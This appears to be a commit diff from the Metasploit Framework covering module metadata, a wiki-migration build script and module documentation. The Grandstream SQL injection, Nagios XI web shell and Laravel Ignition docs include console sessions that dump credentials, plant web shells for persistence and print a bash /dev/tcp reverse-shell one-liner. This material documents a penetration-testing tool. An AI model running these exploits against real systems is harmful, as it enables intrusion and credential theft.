||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/vss_list": {
|
||||
"name": "Windows Manage List Shadow Copies",
|
||||
"fullname": "post/windows/manage/vss_list",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"theLightCosine <theLightCosine@metasploit.com>"
|
||||
],
|
||||
"description": "This module will attempt to list any Volume Shadow Copies\n on the system. This is based on the VSSOwn Script\n originally posted by Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
|
||||
"references": [
|
||||
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-04 10:53:15 +0000",
|
||||
"path": "/modules/post/windows/manage/vss_list.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/vss_list",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/vss_mount": {
|
||||
"name": "Windows Manage Mount Shadow Copy",
|
||||
"fullname": "post/windows/manage/vss_mount",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"theLightCosine <theLightCosine@metasploit.com>"
|
||||
],
|
||||
"description": "This module will attempt to mount a Volume Shadow Copy\n on the system. This is based on the VSSOwn Script\n originally posted by Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
|
||||
"references": [
|
||||
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"path": "/modules/post/windows/manage/vss_mount.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/vss_mount",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/vss_set_storage": {
|
||||
"name": "Windows Manage Set Shadow Copy Storage Space",
|
||||
"fullname": "post/windows/manage/vss_set_storage",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"theLightCosine <theLightCosine@metasploit.com>"
|
||||
],
|
||||
"description": "This module will attempt to change the amount of space\n for volume shadow copy storage. This is based on the\n VSSOwn Script originally posted by Tim Tomes and\n Mark Baggett.\n\n Works on win2k3 and later.",
|
||||
"references": [
|
||||
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-04 10:53:15 +0000",
|
||||
"path": "/modules/post/windows/manage/vss_set_storage.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/vss_set_storage",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/vss_storage": {
|
||||
"name": "Windows Manage Get Shadow Copy Storage Info",
|
||||
"fullname": "post/windows/manage/vss_storage",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "post",
|
||||
"author": [
|
||||
"theLightCosine <theLightCosine@metasploit.com>"
|
||||
],
|
||||
"description": "This module will attempt to get volume shadow copy storage info.\n This is based on the VSSOwn Script originally posted by\n Tim Tomes and Mark Baggett.\n\n Works on win2k3 and later.",
|
||||
"references": [
|
||||
"URL-http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-04 10:53:15 +0000",
|
||||
"path": "/modules/post/windows/manage/vss_storage.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/manage/vss_storage",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"post_windows/manage/wdigest_caching": {
|
||||
"name": "Windows Post Manage WDigest Credential Caching",
|
||||
"fullname": "post/windows/manage/wdigest_caching",
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'optparse'
|
|||
# merged with metasploit-framework, and the old wiki will no longer be updated.
|
||||
module Build
|
||||
WIKI_PATH = 'metasploit-framework.wiki'.freeze
|
||||
PRODUCTION_BUILD_ARTIFACTS = '_site'
|
||||
PRODUCTION_BUILD_ARTIFACTS = '_site'.freeze
|
||||
|
||||
# For now we Git clone the existing metasploit wiki and generate the Jekyll markdown files
|
||||
# for each build. This allows changes to be made to the existing wiki until it's migrated
|
||||
|
@ -28,7 +28,7 @@ module Build
|
|||
end
|
||||
end
|
||||
|
||||
# Configuration for generating the new website hierachy, from the existing metasploit-framework wiki
|
||||
# Configuration for generating the new website hierarchy, from the existing metasploit-framework wiki
|
||||
class Config
|
||||
include Enumerable
|
||||
def initialize
|
||||
|
@ -747,7 +747,7 @@ module Build
|
|||
|
||||
# Ensure new file paths are only alphanumeric and hyphenated
|
||||
new_paths = to_enum.map { |page| page[:new_path] }
|
||||
invalid_new_paths = new_paths.select { |path| File.basename(path) !~ /^[a-zA-Z0-9_-]*\.md$/ }
|
||||
invalid_new_paths = new_paths.reject { |path| File.basename(path) =~ /^[a-zA-Z0-9_-]*\.md$/ }
|
||||
raise "Only alphanumeric and hyphenated file names required: #{invalid_new_paths}" if invalid_new_paths.any?
|
||||
end
|
||||
|
||||
|
@ -984,9 +984,27 @@ module Build
|
|||
end
|
||||
end
|
||||
|
||||
# Parses a wiki page and can add/remove/update a deprecation notice
|
||||
class WikiDeprecationText
|
||||
MARKDOWN_PREFIX = '#### Documentation Update:'.freeze
|
||||
private_constant :MARKDOWN_PREFIX
|
||||
|
||||
def self.upsert(original_wiki_content, new_url:)
|
||||
message = "#{MARKDOWN_PREFIX} This is viewable at [#{new_url}](#{new_url})\n\n"
|
||||
"#{message}#{WikiDeprecationText.remove(original_wiki_content)}"
|
||||
end
|
||||
|
||||
def self.remove(original_wiki_content)
|
||||
original_wiki_content.gsub(/#{MARKDOWN_PREFIX}.*$\s+/, '')
|
||||
end
|
||||
end
|
||||
|
||||
# Converts Wiki markdown pages into a valid Jekyll format
|
||||
class WikiMigration
|
||||
def run(config)
|
||||
# Implements two core components:
|
||||
# - Converts the existing Wiki markdown pages into a Jekyll format
|
||||
# - Optionally updates the existing Wiki markdown pages with a link to the new website location
|
||||
def run(config, options = {})
|
||||
config.validate!
|
||||
|
||||
# Clean up new docs folder in preparation for regenerating it entirely from the latest wiki
|
||||
|
@ -999,7 +1017,7 @@ module Build
|
|||
page_config = {
|
||||
layout: 'default',
|
||||
**page.slice(:title, :has_children, :nav_order),
|
||||
parent: (page[:parents][-1] || {})[:title],
|
||||
parent: (page[:parents][-1] || {})[:title]
|
||||
}.compact
|
||||
|
||||
page_config[:has_children] = true if page[:has_children]
|
||||
|
@ -1014,13 +1032,25 @@ module Build
|
|||
FileUtils.mkdir_p(File.dirname(new_path))
|
||||
|
||||
if page[:folder]
|
||||
content = preamble.rstrip + "\n"
|
||||
new_docs_content = preamble.rstrip + "\n"
|
||||
else
|
||||
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
|
||||
content = preamble + content
|
||||
content = link_corrector.rerender(content)
|
||||
old_path = File.join(WIKI_PATH, page[:path])
|
||||
previous_content = File.read(old_path, encoding: Encoding::UTF_8)
|
||||
new_docs_content = preamble + WikiDeprecationText.remove(previous_content)
|
||||
new_docs_content = link_corrector.rerender(new_docs_content)
|
||||
|
||||
# Update the existing Wiki with links to the new website
|
||||
if options[:update_existing_wiki]
|
||||
new_url = options[:update_existing_wiki][:new_website_url]
|
||||
if page[:new_path] != 'home.md'
|
||||
new_url += 'docs/' + page[:new_path].gsub('.md', '.html')
|
||||
end
|
||||
updated_wiki_content = WikiDeprecationText.upsert(previous_content, new_url: new_url)
|
||||
File.write(old_path, updated_wiki_content)
|
||||
end
|
||||
end
|
||||
File.write(new_path, content, mode: 'w', encoding: Encoding::UTF_8)
|
||||
|
||||
File.write(new_path, new_docs_content, mode: 'w', encoding: Encoding::UTF_8)
|
||||
end
|
||||
|
||||
# Now that the docs folder is created, time to move the home.md file out
|
||||
|
@ -1066,7 +1096,7 @@ module Build
|
|||
|
||||
def self.run_command(command, exception: true)
|
||||
puts command
|
||||
result = ""
|
||||
result = ''
|
||||
::Open3.popen2e(
|
||||
{ 'BUNDLE_GEMFILE' => File.join(Dir.pwd, 'Gemfile') },
|
||||
'/bin/bash', '--login', '-c', command
|
||||
|
@ -1076,16 +1106,15 @@ module Build
|
|||
while wait_thread.alive?
|
||||
ready = IO.select([stdout_and_stderr], nil, nil, 1)
|
||||
|
||||
if ready
|
||||
reads, _writes, _errors = ready
|
||||
next unless ready
|
||||
reads, _writes, _errors = ready
|
||||
|
||||
reads.to_a.each do |io|
|
||||
data = io.read_nonblock(1024)
|
||||
puts data
|
||||
result += data
|
||||
rescue EOFError, Errno::EAGAIN
|
||||
# noop
|
||||
end
|
||||
reads.to_a.each do |io|
|
||||
data = io.read_nonblock(1024)
|
||||
puts data
|
||||
result += data
|
||||
rescue EOFError, Errno::EAGAIN
|
||||
# noop
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1103,7 +1132,7 @@ module Build
|
|||
unless options[:skip_migration]
|
||||
config = Config.new
|
||||
migrator = WikiMigration.new
|
||||
migrator.run(config)
|
||||
migrator.run(config, options)
|
||||
end
|
||||
|
||||
if options[:production]
|
||||
|
@ -1136,6 +1165,13 @@ if $PROGRAM_NAME == __FILE__
|
|||
options[:skip_migration] = skip_migration
|
||||
end
|
||||
|
||||
opts.on('--update-existing-wiki [website url]', 'Update the existing wiki with links to the new website location') do |new_website_url|
|
||||
new_website_url ||= 'https://docs.metasploit.com/'
|
||||
options[:update_existing_wiki] = {
|
||||
new_website_url: new_website_url
|
||||
}
|
||||
end
|
||||
|
||||
opts.on('--production', 'Run a production build') do |production|
|
||||
options[:production] = production
|
||||
end
|
||||
|
|
|
@ -0,0 +1,64 @@
|
|||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx
|
||||
IP PBX to dump the users table. The injection occurs over a websocket at the websockify
|
||||
endpoint, and specifically occurs when the user requests the challenge (as part of a
|
||||
challenge and response authentication scheme). The injection is blind, but the server
|
||||
response contains a different status code if the query was successful. As such, the
|
||||
attacker can guess the contents of the user database. Most helpfully, the passwords are
|
||||
stored in cleartext within the user table (CVE-2020-5723).
|
||||
|
||||
This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.
|
||||
|
||||
### Installation
|
||||
|
||||
The UCM62xx PBX is a physical device and is not known to have been successfully emulated.
|
||||
However, if you have a device, affected firmware can be downloaded here:
|
||||
|
||||
* http://firmware.grandstream.com/Release_UCM62xx_1.0.20.22.zip
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Acquire an affected device and configure it with the affected firmware
|
||||
* Do: `use auxiliary/gather/grandstream_ucm62xx_sql_account_guess`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `check`
|
||||
* Do: Verify the remote host is vulnerable.
|
||||
* Do: `run`
|
||||
* You should get a list of valid credentials for the target device.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Specifies base URI. The default value is `/`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Grandstream UCM6202 IP PBX firmware version 1.0.20.20
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess
|
||||
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > set RHOST 10.0.0.7
|
||||
RHOST => 10.0.0.7
|
||||
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > check
|
||||
|
||||
[*] Requesting version information from /cgi
|
||||
[*] 10.0.0.7:8089 - The target appears to be vulnerable. The self-reported version is: 1.0.20.20
|
||||
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > run
|
||||
[*] Running module against 10.0.0.7
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Requesting version information from /cgi
|
||||
[+] The target appears to be vulnerable. The self-reported version is: 1.0.20.20
|
||||
[*] Found the following username and password: admin - cheesed00dle
|
||||
[*] Found the following username and password: 1000 - gZ15S8O8U5S72oli
|
||||
[*] Found the following username and password: 1001 - qK6uRxwC
|
||||
[*] Found the following username and password: 1002 - aP9ux515W7p5U
|
||||
[*] Found the following username and password: 1003 - pM6mo!E8u37k
|
||||
[*] Found the following username and password: 1004 - mC7N68dm8h
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) >
|
||||
```
|
|
@ -44,7 +44,7 @@ RUN apt-get update && \
|
|||
apt-get clean && \
|
||||
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
|
||||
|
||||
RUN curl https://dlcdn.apache.org/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \
|
||||
RUN curl https://archive.apache.org/dist/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \
|
||||
unzip struts-all.zip && \
|
||||
cp /struts-2.5.28/apps/struts2-showcase.war /bitnami/tomcat/webapps/
|
||||
```
|
||||
|
|
|
@ -0,0 +1,226 @@
|
|||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path
|
||||
traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as
|
||||
`www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a
|
||||
path traversal to a writable and remotely accessible directory, and `custom_ports` field containing
|
||||
the web shell. A cron file will be created using the attacker's chosen path and name, and the web
|
||||
shell is embedded in the file.
|
||||
|
||||
After the web shell has been written to the victim, this module will then use the webshell to establish
|
||||
a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the
|
||||
autodiscovery job is removed as well.
|
||||
|
||||
### Installation
|
||||
|
||||
The following was tested on Ubuntu 20.04.
|
||||
|
||||
* wget https://assets.nagios.com/downloads/nagiosxi/5/xi-5.8.4.tar.gz
|
||||
* tar -xvf xi-5.8.4.tar.gz
|
||||
* cd nagiosxi
|
||||
* sudo ./fullinstall
|
||||
|
||||
The installer will spend a good deal of time installing many things. Upon completion, navigate to
|
||||
the Web UI, accept license agreements, and configure the administrator username and password.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow the instructions above to install Nagios XI 5.8.4 on Ubuntu 20.04
|
||||
* Do: `use exploit/linux/http/nagios_xi_autodiscovery_webshell`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `set PASSWORD <password>`
|
||||
* Do: `check`
|
||||
* Verify the target is flagged as vulnerable
|
||||
* Do: `set LHOST <ip>`
|
||||
* Do: `run`
|
||||
* You should get a Meterpreter session.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Specifies base URI. The default value is `/nagiosxi`.
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username to log in to the Nagios XI web interface with. The default is `nagiosadmin`.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password to log in with. Set to `nil` by default.
|
||||
|
||||
### DEPTH
|
||||
|
||||
The depth of the path traversal. Default is 10.
|
||||
|
||||
### WEBSHELL_NAME
|
||||
|
||||
Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
|
||||
Set to `nil` by default.
|
||||
|
||||
### DELETE_WEBSHELL
|
||||
|
||||
Indicates if the web shell should be deleted after the meterpreter session or reverse shell is established.
|
||||
A user may want to leave behind a web shell for persistence reasons. The default is `true`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Nagios XI 5.8.4 - Get a Meterpreter Session
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/nagios_xi_scanner
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
|
||||
RHOST => 10.0.0.6
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
|
||||
|
||||
[*] Attempting to authenticate to Nagios XI...
|
||||
[+] Successfully authenticated to Nagios XI
|
||||
[*] Target is Nagios XI with version 5.8.4
|
||||
[+] The target appears to be vulnerable to the following 1 exploit(s):
|
||||
[*]
|
||||
[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
|
||||
[*]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
|
||||
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
|
||||
LHOST => 10.0.0.3
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
|
||||
RHOST => 10.0.0.6
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.3:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Attempting to authenticate to Nagios XI...
|
||||
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
|
||||
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
|
||||
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
|
||||
[*] Testing if web shell installation was successful
|
||||
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
|
||||
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
|
||||
[*] Sending stage (989032 bytes) to 10.0.0.6
|
||||
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
|
||||
[*] Command Stager progress - 100.00% done (700/700 bytes)
|
||||
[*] Deleting autodiscovery job
|
||||
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44224 ) at 2022-02-05 17:53:27 -0800
|
||||
|
||||
meterpreter > shell
|
||||
Process 800816 created.
|
||||
Channel 1 created.
|
||||
uname -a
|
||||
Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
|
||||
whoami
|
||||
www-data
|
||||
pwd
|
||||
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
|
||||
```
|
||||
|
||||
### Nagios XI 5.8.4 - Get a reverse shell
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/nagios_xi_scanner
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
|
||||
RHOST => 10.0.0.6
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
|
||||
|
||||
[*] Attempting to authenticate to Nagios XI...
|
||||
[+] Successfully authenticated to Nagios XI
|
||||
[*] Target is Nagios XI with version 5.8.4
|
||||
[+] The target appears to be vulnerable to the following 1 exploit(s):
|
||||
[*]
|
||||
[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
|
||||
[*]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
|
||||
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
|
||||
RHOST => 10.0.0.6
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
|
||||
LHOST => 10.0.0.3
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
|
||||
|
||||
[*] Started reverse double SSL handler on 10.0.0.3:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Attempting to authenticate to Nagios XI...
|
||||
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
|
||||
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
|
||||
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
|
||||
[*] Testing if web shell installation was successful
|
||||
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
|
||||
[*] Executing Unix Command for cmd/unix/reverse_openssl
|
||||
[*] Deleting autodiscovery job
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo nyjlVFXNgWehsWFs;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket B
|
||||
[*] B: "nyjlVFXNgWehsWFs\n"
|
||||
[*] Matching...
|
||||
[*] A is input...
|
||||
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
|
||||
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44226 ) at 2022-02-05 17:56:49 -0800
|
||||
|
||||
whoami
|
||||
www-data
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
|
||||
pwd
|
||||
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
|
||||
```
|
||||
|
||||
### Nagios XI 5.8.4 - Leave a web shell behind
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell
|
||||
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
|
||||
RHOST => 10.0.0.6
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
|
||||
LHOST => 10.0.0.3
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
|
||||
PASSWORD => labpass1
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false
|
||||
DELETE_WEBSHELL => false
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php
|
||||
WEBSHELL_NAME => lobster.php
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.3:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Attempting to authenticate to Nagios XI...
|
||||
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
|
||||
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
|
||||
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
|
||||
[*] Testing if web shell installation was successful
|
||||
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
|
||||
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
|
||||
[*] Sending stage (989032 bytes) to 10.0.0.6
|
||||
[*] Command Stager progress - 100.00% done (700/700 bytes)
|
||||
[*] Deleting autodiscovery job
|
||||
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44230 ) at 2022-02-05 18:07:14 -0800
|
||||
|
||||
meterpreter > quit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 10.0.0.6 - Meterpreter session 1 closed. Reason: User exit
|
||||
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit
|
||||
albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id
|
||||
0 9 * * * rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1 --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
|
||||
' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1
|
||||
```
|
|
@ -0,0 +1,74 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Ignition prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote malicious users to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel prior to 8.4.2.
|
||||
|
||||
This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60.
|
||||
|
||||
The easiest way to deploy a vulnerable application is to use the image from the vulhub project available over docker compose [here](https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129/docker-compose.yml). However this container doesn't come
|
||||
with the required log file created, then it needs to be created manually in the path `/var/www/storage/logs/laravel.log`.
|
||||
|
||||
## Verification Steps
|
||||
Confirm that functionality works:
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/multi/php/ignition_laravel_debug_rc`
|
||||
3. set `RHOSTS` and `RPORT`
|
||||
4. Confirm the target is vulnerable: `check`
|
||||
5. Confirm that the target is vulnerable: `The target is vulnerable.`
|
||||
6. It come already with a default payload `cmd/unix/reverse_bash`
|
||||
7. `set LHOST`
|
||||
8. `exploit`
|
||||
9. Confirm you have now a cmd session
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI (required)
|
||||
|
||||
The path to the Ignition _solutions_ file to exploit. By default, the path is `/_ignition/execute-solution`.
|
||||
|
||||
### LOGPATH (optional)
|
||||
|
||||
Path to Laravel's log file, which contains every PHP error and stack trace. By default it is stored in `storage/logs/laravel.log`. If not defined this module will try to automatically determine it based on the stack trace of the application.
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 exploit(multi/php/ignition_laravel_debug_rce) > exploit
|
||||
|
||||
[+] bash -c '0<&65-;exec 65<>/dev/tcp/172.28.241.244/4444;sh <&65 >&65 2>&65'
|
||||
[*] Started reverse TCP handler on 172.28.241.244:4444
|
||||
[*] Checking component version to 172.28.240.1:8080
|
||||
[*] Debug mode is enabled.
|
||||
[*] Found PHP 7.4.15 running Laravel 8.26.1
|
||||
[*] Found log file /var/www/storage/logs/laravel.log
|
||||
[*] Command shell session 2 opened (172.28.241.244:4444 -> 172.28.240.1:56840 ) at 2022-02-08 11:32:12 +0100
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
php /var/www/artisan --version
|
||||
Laravel Framework 8.26.1
|
||||
head ../vendor/facade/ignition/CHANGELOG.md
|
||||
# Changelog
|
||||
|
||||
All notable changes to `ignition` will be documented in this file
|
||||
